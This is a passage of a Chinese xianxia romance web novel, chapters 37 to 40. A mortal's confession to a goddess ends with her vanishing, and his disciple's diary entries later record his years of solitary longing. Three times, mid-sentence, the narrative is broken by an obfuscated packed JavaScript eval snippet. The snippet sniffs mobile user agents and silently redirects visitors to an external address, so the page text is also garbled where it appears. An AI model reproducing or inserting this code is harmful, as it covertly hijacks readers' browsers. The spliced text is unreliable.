青君放下茶盅时,盏身轻斜,漏了点茶汤泼在红案木几上,晃动的茶渍映出袁颂出神思索的脸,朦朦胧胧似一张狐影。 “你是一个很聪明的人,你应当知道,我要同你说什么。” 良久的沉默,像一柄蜿蜒的白刃,割碎所有尽在不言中的隐晦暗示和劝阻。 袁颂忽然深吸一口气,抬起眼,果决而坚毅的目光一瞬不瞬,掷地有声地说“我不甘心”。 “……” “阿青是喜欢我的,我能感觉到,我也很确定。” “我不管她有没有心,也不管她到底是石头做的,还是别的什么,但她的忘川里,一定有我的倒影,会因为我的所思所想,而泛起涟漪。” 这半年多来,无数个结发共眠的夜晚。 送给他的蛇鳞。 交换的那三颗汤圆。 喂到他嘴边的糖葫芦。 收下他赠予的发簪,并用千树花灯回礼。 阿青应当是喜欢他的。 可能没有他喜欢得那么多。 但是只要有一点点,他都死而无憾,都会觉得痴心值得。 青君微微一怔,旋即笑叹着感慨,说:“果然还是年轻。” 只有双十年华的少年郎敢肖想白头,待他达天命时自会自惭形秽。 只是言尽于此,他多说无益。 意气风发的少年人,还是要再栽一次跟斗才会死心。 似乎是觉得他一个聪明人不该这样冥顽不灵,又似乎是在可怜他。 青君的脸上,仍旧挂着那副宽容温柔、好似长辈包容不懂事的小辈那般的淡笑,静静地看着他,温和道:“那好,你去问她愿不愿意跟你留在这里。” “……” “如果,她还愿意回来的话。” 37.037-钝刀【完结】 037 没有见到阿青之前,袁颂并不知道原来有些话,其实他是不敢问的。 孤身一人坐在河堤边垂柳下的一张石桌旁边的时候,看着长街上招摇的华灯陆陆续续熄灭,看着推着车的小贩开始有条不紊地收摊,看着原本人声鼎沸的街市一点一点变得萧索,他甚至已经开始认同了青君的判断——阿青应当是不会再回来了。 他觉得自己的心是一盏灯,灯油见底,摇曳的烛火快要烧尽。 时间像流沙般悄无声息地溜走,元月初一的烟火气里,本该有团圆的暖意,可落在身上的冷月却像结厚的冬霜一样,冻得人浑身没什么力气。 直到听见身后有人高高兴兴地叫了一声“袁颂”。 他像是忽然从梦中醒过来一样,不能置信地霍然起身,回头,隔着一道三生桥,看到情人岸对岸的阿青,正在跟他用力招手。 两个时辰前河岸边争相斗艳的灯盏已经被人陆陆续续收走,头顶的明月成为彼此眼中唯一的光源。 柔软朦胧的月光落下来,摇曳的树影投在袁颂的脸上,让阿青看不清他的表情,却觉得袁颂望向她的眼睛,亮得有些惊人,好像在冥冥之中,在她不知道的角落里,他已经等了她很多很多年,但她依旧迟到了很久很久一样。 “阿青,你去哪了?怎么这么久才回来?” 迎上袁颂的担忧,阿青的目光却先一步落在了他手上拎的那个巴掌大小的油纸包上:“这是什么?” “酒楼里新出的点心,因为现烤的最好吃,但我也不知道你要玩到什么时候,只能等他们快打烊了才专门让后厨给你做了一份,好像还是热的,应当还是酥酥脆脆的,要尝尝看吗?” 神仙并不会积食,但往往阿青的口腹之欲,仅仅只是泛馋。 袁颂没有多买,打开油纸团,小小的一个酥饼顷刻间就散发出了梅干菜混着猪肉拌出来的油香。 阿青很自然地就着他的手咬下一口酥皮,眼睛瞬间就亮起来了:“好吃!” 碳火壁炉烘烤出的酥点口感干燥,袁颂还另外给她备了糖水润口,待她心满意足地吃完东西,又很贴心地从怀里掏出帕子,像往常一样为她净手擦脸。 袁颂:“玄女呢?” 阿青:“她找着我了,确认我没什么事情,当然就先回去了咯。” 他的目光静静地落在她脸上,也不知在专注地确认什么:“怎么去这么久才回来?知不知道我很担心你?” “担心?”阿青像是听见了一个天大的笑话般,“嗤”地一下就笑了出来,“只要我别再信人家要请我吃东西这种鬼话,以我现在的法力,谁能伤得了我?” 皎白的月光落在袁颂棱角分明的脸上,却照不亮他深浓的眼底。 阿青一般很少会去在意袁颂的情绪,一来是搞不明白凡人的脑袋里藏的那点弯弯绕绕,二来也是因为袁颂面对她,多数时候都是很温柔镇定的模样,鲜少这般低落反常。 她站在三生桥上,桥面的石梯垫了她的身高,能让她不用像往日般需要微微仰起头,才能跟他对视。 “我还以为,”袁颂忽然扯了一下唇,似是自嘲又似是庆幸,“你不会回来了。” “肯定要回来的呀,我总要跟你说一说,我今晚到底做了什么好事吧?”阿青故作高深地晃了晃脑袋,表情很是得意。 袁颂深吸一口气,强行打起精神,微笑着顺着她的话往下问:“遇到了什么事,这么开心?” “哼,还不是因为你们这个上京城治安不行嘛,得由我这个神仙来维护安定!” 阿青得意地抄起手,一脸“给你个机会好好夸我”的表情。 “我跟玄女刚出酒楼就碰见坏人了,有两个五大三粗的黑衣莽夫敲晕了两个出来游玩赏灯的女子,用麻袋套着抗上了车。” 那两名女子不是别人,正是她点燃缚灵符时旁听到的两位小娘子,所以她出巷口的时候特地留意了一眼,好巧不巧,正好让她看见那两人遇险。 “我们就悄悄地混进了那辆拉货的马车里,结果不看不知道,一看,原来车里有十几个姑娘,都是这样给人敲晕了绑过来的。” 袁颂想象着阿青在距离他十丈之外的某个地方该是如何自由自在,胸口忽然泛起的酸涩压得他快要透不过气。 “那两个黑衣莽夫应该就是人伢子的手下,这种闹市里,的确会有人想要浑水摸鱼。” 阿青深以为然地点了点头:“可不是嘛。” 袁颂的目光温柔似水,眼瞳里的肯定和嘉许看得阿青通体舒泰,手舞足蹈地跟他讲了自己是如何跟玄女二人联手救出了被人伢子拐卖的无辜少女,将她们送到安全的地方之后,那些少女对着她们千恩万谢,拜别时还纷纷表示要为她造像开观。 “其实我都没跟任何人讲过,三百年前我之所以下界,就是眼馋别的神仙都有自己的宫观,这才敢去人多的地方碰碰运气。” 哪想到居然会被张陵那个小道士就地正法!简直倒霉透顶! “你都不知道,其实在九重天,神仙跟神仙之间也是要按信徒的数量论资排辈的,我成仙的时间太短了,凡间的信徒早被那些旧神瓜分得七七八八,我也不好意思去挖别人的墙角,而且也得要信徒虔诚皈依我,我才能吃到他们的香火,哈,没想到今晚这趟灯市,居然还有这样的奇遇!我就知道好神仙是有好报的!” 林溪山一役就是铁证之一! 哪怕她就只救了袁颂一个人,也是一件值得表彰的好事! 阿青越说越得意,当形容到那些少女是如何询问她的道号及对宫观庙宇的意见时,骄傲的尾巴都要翘到天上去了。 “于是,我就告诉她们,我是——” 最关键的信息差点要脱口而出,猛然反应过来的阿青险险地悬崖勒马,尴尬地咳嗽了两声,连忙摆了摆手,生硬地打着哈哈说“算了算了,小事一桩,不值一提”,妄图蒙混过关。 袁颂原本为她的高兴感同身受的一颗心,却因为她急转直下的防备态度,瞬间坠进了冰窖里,哽在喉间的酸苦从齿缝里漏出来,满是自嘲:“你是什么?” 阿青正想要说她是什么并不重要,袁颂却忽然下定了决心般深吸了一口气,灼灼的目光落在她脸上,牢牢锁着她的视线,像是瞬息也不肯放她游离、狡辩。 “你是真武大帝座下第十二金仙。” “是五方天帝春神青君之女。” “道号妙慧灵君,尊奉昙华帝姬。” “……” “阿青,我说得对吗?” 漏夜的冬风卷起地上萧索的枯叶,让静默的四目僵对,也成为一场无声的对峙。 “你是,怎么知道的?” 阿青想不明白,为何消息会传得那么快,总不该是那些少女当中出了个赶路的能手,跑得比她这个神仙还快吧? 到底是谁泄了她的老底?! 袁颂的目光微微暗了一寸:“阿青,其实我们之间的命契早就解了,你为什么不同我说?” 阿青怔怔地看了袁颂片刻。 这种无伤大雅的小事,是没必要同他说的。 横竖她是走是留,全凭她自己心意,难道还要专程同他打招呼不成? 袁颂双目无神地看着再度沉默下来的阿青,不知道过了多久,终于找到了自己的声音,带着一股自厌自弃的嘲弄:“其实你一直不愿意告诉我你的道号,是不是就是怕我缠着你?” 张陵留给袁家人的手书里清清楚楚地写着,擅工笔的画匠倘若知道一位神仙的尊称道号,清楚她的音容笑貌,便有很大的可能,可以直接向神祈愿。 “……” 阿青不知道该怎么样去形容眼前这一刻的袁颂。 他说话的时候,压着很低的气音,颓唐神态,像淋了雨无枝可依的雀鸟,全不似往日那样意气风发。 三生桥上,阿青静静地看着袁颂,感受着缚灵符的暖息流过她没有波澜的胸口。 她下意识想要错开跟他对视的眼睛,但又莫名不忍心,只能磕磕巴巴地解释:“也不,不全是这样。” “……” “我同你牵涉太深,不告诉你道号,也是,也是想,少受一点天道的因果反噬。” 狡辩苍白无力,她只能硬着头皮给他承诺:“若你以后有求于我,亦可以来我宫观参拜。” “……” “啊!要不然这样!”阿青忽然眼睛一亮,想到了一个应该能够安抚他的说辞,“看在我们交情笃厚的份上,我一定优先解决你的愿望!” “那倘若,”袁颂平静地听她狡黠画饼,一瞬不瞬地看着她心思百转千回,直到他再也无法承受这股排山倒海的无望而彻底图穷匕见,“我的愿望是想跟你白头到老呢?” “……” “……” 突如其来的沉默,仿佛是雪崩前山林里最后一刻的宁静。 “你……跟我?” 阿青不能置信地撑圆了眼睛,看着袁颂,惊讶地反手一指自己的鼻子。 短暂的意外之后,她像是听见了一个闻所未闻的笑话一样笑得前仰后合,扶着三生桥的桥身,哈哈大笑得差点直不起腰。 “袁颂,我们两个……哈哈哈……要,要如何白头到老啊?” 她沉浸在他的天方夜谭里笑得上气不接下气,连一句完整的话都说不出来,袁颂却觉得她的每一声肆意畅快的笑声,都像割在身上、用来凌迟他的刀,他被人剥光了衣服扔在街上行刑,甚至有一瞬间,他希望自己不如尽早伏诛死去。 阿青笑了好久终于缓过来,揉着笑酸的脸,看他的模样也像在看一个从未见过的新奇事物,饶有兴趣地打量了他好几眼。 “待你头发花白,牙齿都掉光的时候,我还是跟现在一样好端端的,我们两个人要如何白头啊,我是个神仙诶,神仙是不会老的,你不会连这么简单的道理都不明白吧?” 天若有情天亦老,而神仙无情,是以仙寿永昌。 然而就在阿青话音落下的瞬间,漆黑的夜空里,忽然有鹅毛大雪纷纷扬扬落下来。 轻若无物的雪粒如同一瓣一瓣柔白的梨花,落在两人的乌发上,坠在颤动的眼睫上。 袁颂茫茫然地伸手去接空中的雪,微凉的雪花落在他掌心,又在顷刻间,被他的体温融化。 他怔怔看着掌心那点微不可查的水痕,怔怔地听见自己呢喃的声音:“……不得於飞兮,使我沦亡。” 轮到袁颂笑了。 他起初出神地接着雪花,是无奈的哂笑,然后慢慢地,他的笑声放大,变成了嘲弄的嗤笑,再然后,他的笑声开始变得急促,一声接一声地开始放声大笑,一边笑一边摇头,疯疯癫癫的,也不知是在高兴还是在痛苦。 直到他笑够了,抬起一双湿润的眼睛看着阿青。 月色和雪光映入他的眼睛,一双琉璃秋水瞳,内里好似碎着一块四分五裂的青玉。 袁颂看着盖在阿青头顶的碎雪、落在她鬓角的雪花,忽然轻轻伸手盖了一下眼睛,他微微抽一下鼻子,又缓缓地吐出一口长长的气。 “阿青。” “你瞧。” “你说的这些,连老天都觉得不对。” “……” 颛顼伯伯来得不是时候。 阿青正想说此白头非彼白头,却忽然被袁颂一把拉入怀里。 她的前额磕到他的胸口,听见他的胸腔在痛苦地震动。 “阿青,你告诉我,你的心里有没有过我?” 袁颂将脸埋入阿青的颈项,纤长的眼睫扫在她的皮肤上,像挠动的羽毛,轻柔、温暖,却莫名地有很细微的潮意。 不知道为什么,她忽然想到那日在林溪山顶,他在狐仙洞外的那张石桌旁入定的样子。 袁颂双眼各有一百二十七根睫毛,根根纤浓分明,闭眼时,就像垂着两把浓密的小扇。 “什么意思?” “你到底,有没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15366130|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢过我?” “当然有啊。” 太过流利的对答,只是徒增他心里的难过。 “我知道神女爱世人,但弱水三千,我想做这个世间,被你唯一选择的那个人,只庇佑我一个人,只看着我一个人,只属于我一个人。” “这怎么可能,”阿青连想都没想,“我爹跟我说了,每一个神仙奉的道各有不同,但济世爱民,殊途同归,众生平等,皆有神爱。” “……” 青君从一开始就知道这个答案,他只不过是给了他时间,让他亲耳听到、亲眼看到——她会忘记他,就像忘记一个影子。 可这一刻,怀里的身体是真实存在的。 是温暖的。 是独属于他一人的。 只要他不放手,眼前的阿青,就是属于青珩的阿青。 他不会放手,他死也不放手。 头发花白、牙齿掉光、老态龙钟,他死也不放手。 “阿青。” 他仍然紧紧抱着她,落在她耳廓旁边的声音固执、偏执。 “我想带你去见一见我爹。” 即使已经确认眼前是绝壁,但袁颂依旧拿出了早就准备好的说辞—— 是他在出门前,曾经预演过无数遍的说辞。 也是本不该出现在这样糟糕环境里的说辞。 “你爹,袁在望?” 阿青轻轻地“嘁”了声。 “我又不是没见过,别看你爹一本正经的,但他絮絮叨叨的很烦的。” “我爹只是喜欢把话放在心里,但是当着我的面,他话不多,所以,我会跟你一起见他。” “……” “圣上是我一生挚友,我也想带你去见一见他。” “你们的人间小皇帝,有什么好见的?又不是什么千年人参,能增加我修为灵力。” “我还想带你去看江河湖海,策马烟雨同梦。” “不用啦,其实那个萤火虫洞我已经很满意了,若他日再有时间,我会自己过去看的。” 感受到箍在腰上的手臂越收越紧,快要勒得她喘不过气,阿青忍不住伸手拍了拍他的后背,一边安抚他,一边暗示他可以适当松松力道,可难得见他这样不解风情、不为所动,她也只能无奈地叹了口气,妥协下来。 “行啦,大不了到时候我叫上你一起就是。” 阿青不知道为什么,明明应该是很冷的雪花,可融化在颈项,居然是温温热热的,甚至有点烫,一滴一滴滑进羽衣里,绵绵不绝,像是怎么也止不住。 “袁颂,这里的人都走完啦,我们是不是,也该回去了?” 原本热闹繁华的街市,已经彻底散场,偌大的长街,只剩拥在尽头的两个人。 “是的。” 袁颂像是被提醒了似的猛然如梦初醒,又重新振作了起来。 “我们该回家了。” 还有时间。 只要阿青还在自己身边。 他会慢慢教她,到底什么是爱,什么是天长地久。 他愿意做那只填海的精卫。 袁颂重重做了一个深呼吸,捏了捏阿青的手,很自然地就解下了身上的狐裘大氅,披在了她的身上。 阿青低着头扯了一下对她而言长度快要曳地的大氅:“袁颂,我不怕冷的。” “可我就是想照顾你。” 袁颂的目光温柔得她根本不想拒绝,只能无奈地撇了撇唇,说“行吧”。 皎白的月光,皑皑的雪,无人的长街,袁颂牵着她的手,阿青慢悠悠地跟在他身侧。 他问她今夜的灯市哪几盏灯最好看,哪几个灯谜最有趣,阿青每一个问题都认认真真地答,偶尔也会反问他的意见。 在距离袁府还有差不多十丈的位置,袁颂看着两人落在地上的影子,看着两人交握的双手,告诉自己,他不会放手。 他死也不放手。 “袁颂。” 可他听到她的声音。 听到她跟他说。 听到她笑着跟他说。 听到她无不轻松地跟他说。 “这次,我就不进去啦。” 握在手里柔软的手指像抓不住的流沙。 飘然而来的风雪,带着一股很淡的梅香,拂开落在他肩上的乌发。 他似有所感地回过头,却只看到雪地里掉着一件淡青色的狐裘大氅,堆叠的衣料,像金蝉脱壳之后留下来的蛇蜕。 天地茫茫。 这世间再无阿青的踪迹。 袁颂面无表情垂眼看着雪地上那件大氅。 好像只要他不将它捡起来,它就仍然穿在阿青的身上。 鹅毛大的雪花落在他肩头,被体温融化,打湿了他的衣裳。 门口的仆从见他孤零零站在雪里,忙打了伞替他挡雪,跟他说外头冷,早些进屋烤火。 可连叫了好多声“公子”,一贯游刃有余的长公子却像得了癔症,仿佛是被抽了魂一样看着那件大氅一动不动、一言不语。 最后惊动了老爷,才终于将冷得像块冰一样的长公子拥进了府里。 大抵从未有人见过他失态至此。 下人交头接耳,纷纷说,公子是出门看了灯,着了岁怪的魇。 整个袁府兵荒马乱,找了各种人问前因后果。 直到早晨出门采买的小厮,抱着一盒新鲜的山楂老老实实地交代,说是公子吩咐过,山果要专门呈了由他来亲自挑个头。 一动不动的袁颂怀里紧紧抱着那件狐裘大氅,眼睛里终于回了点光。 后来,袁颂独自站在两人第一次见面的祠堂里,看了整整一夜被大雪压弯的梅树。 丰年一场大雪,埋掉了他年少轻狂的全部痴恋。 他也终于明白,青君想要跟他说的最后一句话。 其实这段相遇,从一开始,就注定只是他一个人的天荒地老。 他只是,不得不放手。 38.摘星阁手札(上) 大启十四年,惊蛰。 摘星阁初成,师父带着我与明彰师兄,入住阁中。 是夜,师父吩咐我二人扫洗摘星阁顶楼的凭栏雅居,明彰师兄长我十岁,念我年幼,便只叫我在旁递拿用具,简单搭把手。 师兄打扫时,极目远眺,感慨天地辽阔,忍不住喟然道:“果真是危楼高百尺,手可摘星辰,比我们之前住的帝师殿真是要气派不知多少倍!” 作为整个上京城最高的建筑,高耸入云的摘星阁名副其实,只是不知当初为何选址于此,摘星阁与城中香火最旺盛的昙华帝姬宫观遥相辉映,本该气宇轩昂的一座观星楼阁,竟莫名被每日进出宫观祈福的女子染上了一点脂粉气。 昙华帝姬道号妙慧灵君,是这十几年民间兴盛的一位新神,起初只是保佑女子出行,慢慢地,有些女子求学考试、开市交易也会向她祷告求福,直到演变到妇人临盆生产——不堪其扰的帝姬终于给人托梦,气急败坏地在梦里说生孩子不归她管,因为她见血就晕,这些产妇总算是逐渐消停了下来。 师兄嫌干活无聊,便找我聊天,问我家乡籍贯、生平遭遇,我便一一同他言明。 我原是林溪山里的孤儿,终日游荡在一个萤火虫洞附近摘野果子吃,全赖师父踏青时捡着我,给我吃穿,教我识了几个字,赐我一身道袍,替我取了名字,叫明浣。 我初时在溪畔看见他的时候,以为自己见到了一个神仙,否则这世间怎么会有这么好看、这么有风姿的男子? 我差点跪下来向他叩头,师父在短暂的忪怔后,漂亮的狐狸眼睛眼尾压出一寸红,不能置信地颤着声音问我:“你在这附近,也见过神仙吗?” 我觉得他那时应当是在找人,所以,听到我嗫嗫喏喏地说只见过他一个神仙的时候,他那一瞬间蒙上脸的灰败,仿佛是被抽走了所有的生气。 在我看来,师父是个顶顶心善温柔、端方雅正的人,很当得上“谦谦君子温润如玉”这八个字,所以,他那样的失态和难过,我绝不会跟这世上第二个人讲。 明彰师兄闲不住,又问我知不知道圣上为何要冒朝中群臣的反对,力排众议替师父造这座摘星阁。 这个问题太过简单,街上随便拉个稚童都能对答如流。 只因师父与圣上知交甚笃,又于后者有救命之恩,别说区区一栋摘星楼,圣上曾放话,若师父肯继续留在朝中效力,他甚至愿意封师父为异姓王。 可师父不知为何尘缘尽断,铁了心辞官隐居,若非圣上多番挽留,拿出摘星阁这张筹码,他甚至连帝师的闲职也不愿受领。 明彰师兄:“那你知不知道师父又为何放着好端端的帝师殿不住,偏要住到这种空寂无人的高阁之中?” 这我就不知道了。 然而我看师兄一脸得意神态,料想他一定清楚各种因由,便递话问为什么。 明彰师兄放下了手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378921|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的扫帚,神神秘秘地招手示意我附耳过去。 他悄悄地压低了声音。 “因为师父喜欢一个神仙。” “所有人都说他是疯了。” “住在这么不接地气的高阁里,不就是为了能离他的心上人近一点么?” “他每天很宝贝的那块黑玉,就是那个神仙送他的,可惜人家不要他了。” 我怔怔地盯了师兄半响,几乎是下意识地往高阁最顶端的平台望过去—— 师父正出神地坐在平顶上,靠着凭肘,身侧的矮几摆着两只白盏、一壶碧落茶、一壶竹叶酒,以及装在食盒里的半只片皮鸭。 师父修道茹素已有十余年,这时,也只是饮茶,并不喝酒。 寂夜的烈风吹动他的发梢,头顶万丈的星芒落在他青色的锦袍上,照得每一寸衣褶里都是落寞。 我看见他忽然起身,从怀中找出那块五彩斑斓的黑玉——与其说是玉,不如说是某种爬行类动物的鳞。 他将那块玉高高地举起,仿佛是在跟天上的星星试探着什么,像是在等天上的某个人回应他,可又于毫无变化的万籁俱寂中,无比失落地垂下了手。 我终于意识到,师父在林溪山捡到我的那年夏天,找的那个人到底是谁。 其实,我觉得明彰师兄说得也不全对。 因为,如果痴情也要被归类成疯子的话,那世上那么多薄情寡义的人,还不如一个疯子。 39.摘星阁手札(中) 大启二十一年,处暑。 师父生辰日,明彰师兄前来请辞。 我知师兄心仪于帝姬宫观门口一位卖酒的小娘子,但也不免为师兄的大胆捏一把汗,毕竟我同师兄皆有宫职在身,受了皇命理当侍奉师父左右,若半途心生退意,恐有牢狱之灾。 午时,我替师父煮好茶,看了看跪在席前的师兄,又看了看垂目出神的师父。 师父听完师兄与那小娘子相识心动的经过,沉默半响,终于开口问道:“看来你很喜欢她?” 师兄抬起头,眼中没有分毫惧意,全是对未来的欣喜和期望:“若能跟她在一块儿,给我做神仙都不要。” 平素不苟言笑的师父难得揶揄地挤兑了师兄一句:“神仙才没你这样短视。” 师兄被怼得哑口无言,也知道是自己说错了话,却听师父又问他:“那她也喜欢你吗?” 师兄抓耳挠腮,不太确定地说:“应,应该是喜欢的。” “何以见得?” “她,她日日同我见面时都冲我笑。” 我听得只觉得无语,就这也能把师兄迷得神魂颠倒,连坐牢都不怕了? 还以为两人身上月老的红线都打成死结了,没想到只是师兄自己单相思。 我在一旁奉茶,甚至有冲动把明彰师兄拖下去算了,省得他扫师父生辰日的兴头。 “那她卖酒时,也日日冲别人笑,你怎知自己与众不同?” 师父说得好! 师兄想了想,忽然红起脸来:“她,她亲过我,结伴出游时,也只喜欢粘着我。” 师父:“我朝民风开放,你又是如何分辨,她跟你的亲近只是出于礼貌还是别有情愫?” 师兄显然是不愿叫人这样看轻他的感情,立刻脱口而出:“有一回市集惊马,她不顾安危将我从扬起的马蹄下救出来,这不是喜欢我是什么?” 师父默然片刻,微微一哂:“那你有没有想过,她这么做,纯粹只是她善心使然,好心求好报,换了任何人在马蹄下,她顺手都会拉一把。” 虽然师父的话驳得有些尖锐、不近人情,但我也觉得,感情一事,最忌自作多情,别人待他三分好,若他自己硬要想成十分,长此以往,不仅遭了相思罪,还难免落人话柄、贻笑大方。 师兄被质疑得没了法子,只好坦白交代,委屈地说:“今年元月初一,她都收了我亲手做的簪子呢!” 师父的声音听起来更冷了一分:“收了你的簪子,也可以耍赖,你凭什么觉得她喜欢你?” “这怎么可能!”师兄难得硬气了一回,掷地有声地为那小娘子辩解,“如果她日日同我笑跟我好不算喜欢我,舍了命救我不算喜欢我,答应了我的求亲不算喜欢我,那到底什么是喜欢?我为她辗转不眠的这么多夜晚,因为她几句话就愁得吃不下饭,就算冒着治罪下狱的风险也要跟她双宿双飞,又算什么呢?” 一室俱静,偌大空旷的摘星阁里荡出师兄反驳的回声。 我很少见师父在失神的时候露出这样茫然无措却又很难过的表情。 “是啊。”他忽然笑了一声,长长地叹了口气,脸上的自嘲仿佛是在物伤其类,“这算什么。” “女之耽兮,犹可脱也。” “士之耽兮,不可说也。” 他缓缓闭上眼,疲惫地以手支额,平静的面容里,忽然有了一种很难言的缅怀,也不知是想到了什么:“归根结底……还是不一样的。” 师父心情很不好,我接受到明彰师兄求助的眼神,正打算开口替他求情,忽然听师父说了句“也罢”。 “既如此,我便也不好强人所难,盼她日后记得你的好,安安心心与你白头偕老。” 然后他吩咐我取了库中银两和师兄的身份文牒,放其归家。 师兄也没想到请辞一事如此容易,等跟我回了房中才算是彻底开心起来。 临别在即,他拉着我的手,逐一跟我交代侍奉师父需要注意的一些门道,说到紧要处,甚至要我抄于书簿里才算放心。 “可千万记住,师父每年秋分,都要晒他那一屋子的画稿,他晒画时,你就找个阴凉的地方自个儿待着,等天黑了再回来,务必别撞到他晒画,不然生气了冷你几天不同你说话,不得把你憋死?” 师父的画工是一等一的好,过目不忘的能力,更是能将一个人的音容笑貌记于笔端,我就算不用动脑子想,也能猜到师父那一屋子画里的主角是谁,忍不住问:“那些画稿……长得很漂亮吗?” 明彰师兄有些愤愤地鼓起脸:“师父在这种地方尤其小心眼,从不让别人看,劝你也收起这点好奇心,省得惹他不高兴。” “……” “还有啊,每年的除夕一大早,你得去东市买山楂,记得挑个头好的,要至少够师父做五串糖葫芦。” 我知道师父平素的口味喜甜,又惊奇道:“师父这么大了,新年还要吃这玩意儿啊?” 明彰师兄露出一副“我也搞不懂”的表情:“别看我们师父长得一表人才,但有些秉性是很古怪的,糖葫芦他光做了不吃,也不知道干嘛,数量不多不少就是五串,总不至于是要从大年初一吃到大年初五吧?” 我一一记下要点,但也免不了在心里道一句“古怪”。 “对了,如果接下来袁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385154|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府再派人来找师父,你记得要问清楚什么事,别像我之前一样,都给挡回去了。” 我不解:“为何?” 明彰师兄的脸上难得露出一丝很复杂的伤痛。 他与我不同,他自小在袁府长大,同府里的感情很深。 “因为袁大人年纪大了,我听说他这些年身体不太好,我怕袁府再来找师父……可能不见得是什么好消息。” 一时之间,我跟明彰师兄都沉默了。 师父奉道之后,便断了尘缘,不问世事,曾经盛极一时的袁氏宰相府也门庭寂寥,圣上虽敬重袁大人,但要以老骥之力支撑偌大门第,维护往日荣光,也绝非易事。 我唏嘘不已:“明明是父子,怎会走到这一步?” 明彰师兄感慨叹道:“当初闹翻,还不是因为师父的婚事?袁大人盼他不要执迷不悟,可师父横剑于颈,以死相逼,袁大人没办法,只能告诉他,一个人的时间会比两个人的时间过得慢很多很多,让他好自为之,不要后悔。” “袁大人说,不要因为蹉跎年华而后悔,不要因为求而不得而后悔,亦不要因为碌碌无为而后悔。” 我听得心惊肉跳,明彰师兄露出痛惜之色。 “可师父说,他不会后悔,如人饮水,冷暖自知,善始无终,绝不后悔。” “我记得他们父子争吵那日,我捧着那些世家族女的画像站在庭院中无所适从,直到听见袁大人忍着压得很低很低的哭腔,说既然师父执意如此,那他们父子情分已尽,他不再逼他,就当,他从未有过他这个儿子。” 说到这里,明彰师兄又沉默了很久很久。 “其实我听袁府里一些老仆说起过,袁夫人难产去世后,袁大人在培养师父上花了很大的心力,所幸师父也很争气,哪想到正意气风发、前程似锦的时候,会闹出这样一桩无可转圜的事情,所有人见他因为一段没有结果的感情而消沉、蹉跎,自然也觉得心痛不值,但师父既然执意选择等一个不可能的人……也是,没有办法的事。” 明彰师兄离开的那一夜,师父将自己关在画室里关了整整两天,我想着白日里明彰师兄跟我说的话,安安静静地在画室外守了整整两天两夜。 只是守夜的时候,我看着摘星阁底那座昙华帝姬的宫观里透出的那点莹莹的烛火,又忍不住回头看了眼师父画室里那簇跳动的火光,忽然就冒出一个很奇异的念头——不知道是宫观里的光在陪着师父,还是师父画房里的烛火,在孤独无望地守着帝姬。 然而师兄走了之后,无人再与我聊天讨论,让我终于开始相信,原来,一个人的时间真的过得太慢了,太慢太慢了。 40.摘星阁手札(三) 贞义九年,除夕。 明彰师兄离开前,有一句话是说对了,果然袁府再派人传来消息,就是袁大人因病身故一事。 师父听闻传讯,一个人在暖阁里坐了许久。 我替他备好茶,便捧着早晨刚刚买好的山楂果进了厨房,虽然不知道今夜师父还有没有心情做糖葫芦,但该是我分内的事情,总要全须全尾地替师父安排妥当。 过了戌时,我见暖阁里还没有动静,便挥退了底下的两个师弟,让他们早些休息,然后便提着灯,于摘星阁里检查门窗、预防明火。 从阁中高层的凭栏往底下瞧,帝姬宫观依旧灯火通明,因着今年开春科考圣上放女子入朝,祈福祷祝求高中的女眷便络绎不绝,让宫观更是香火鼎沸、人烟攘攘。 只是帝姬宫观的热闹,对比摘星阁的清冷,便又显得后者寂寥得有些可怜。 我侍奉师父二十余年,虽见惯了他的反常,但事逢袁大人身故,自也免不了担心。 往年过了除夕,元月初一还会有太上皇和忠勇侯府的崔侯爷登门道福,两人隔三差五便会来同师父饮茶下棋,排遣师父郁志。 然而前年,老侯爷战死沙场,太上皇少年时期因被囚于地下水牢太久,积了弱症,听闻昔年旧友因朝中调兵不利而身故一事,气得一病不起,没多久也薨了。 好好的三个人,到最后,竟只剩下师父一个了。 可现在连袁大人也走了。 这时候要再盼个旧人能跟师父聊聊天,也是不可能的事。 没成想,师父就这样落了“无亲无故”、“无依无靠”的结局。 我不知道师父到底有没有后悔过当初的选择,却忽然想到有一年元月初一,太上皇带着皇太孙微服赏完灯,顺路就过来找师父下棋。 一老一少是与民同乐的寻常商户打扮,皇太孙那一年才三岁,粉雕玉琢的可爱。 我注意到师父下棋时,总是有意无意地看着皇太孙笑,便料想他应当是很喜欢小孩子的,就自作主张从抽屉里拿了糖。 皇太孙规矩学得极好,捏着糖,从太上皇腿上跳下去,规规矩矩地行礼道了声“谢谢帝师爷爷”。 师父的目光微微怔了一下,捻着棋子失神半响,直到太上皇催促,才落了子。 我注意到,他下的是一步死棋。 